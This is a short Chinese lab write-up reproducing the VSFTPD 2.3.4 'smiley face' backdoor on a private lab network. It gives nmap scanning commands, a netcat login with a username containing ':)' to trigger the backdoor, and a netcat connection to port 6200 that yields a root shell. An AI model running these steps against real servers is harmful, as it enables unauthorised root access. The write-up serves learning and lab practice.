笑脸漏洞复现

漏洞服务：VSFTPD 2.3.4，俗称笑脸漏洞。存在于这个2.3.4版本，属于开发者设计上的失误。在检测到用户名带有特殊字符：）时，会自动打开6200端口。

靶机ip：192.168.10.131

kali攻击机ip：192.168.10.129

实验过程：

1.kali 使用nmap扫描同网段靶机。

nmap 192.168.10.129/24

 

 

 

发现靶机开放了21端口（ftp服务）

2.nmap -sV 192.168.10.131检查ftp服务的版本

 确定为vsftpd2.3.4

3.用瑞士军刀（nc）连接靶机21端口，user带有:)，pass随意

nc 192.168.10.131 21

4.然后检查靶机的6200端口状态

nmap -p 6200 192.168.10.131

发现6200开放

5.打开新的终端窗口，连接靶机6200端口

nc 192.168.10.131 6200 

 

 以root身份进入，实验成功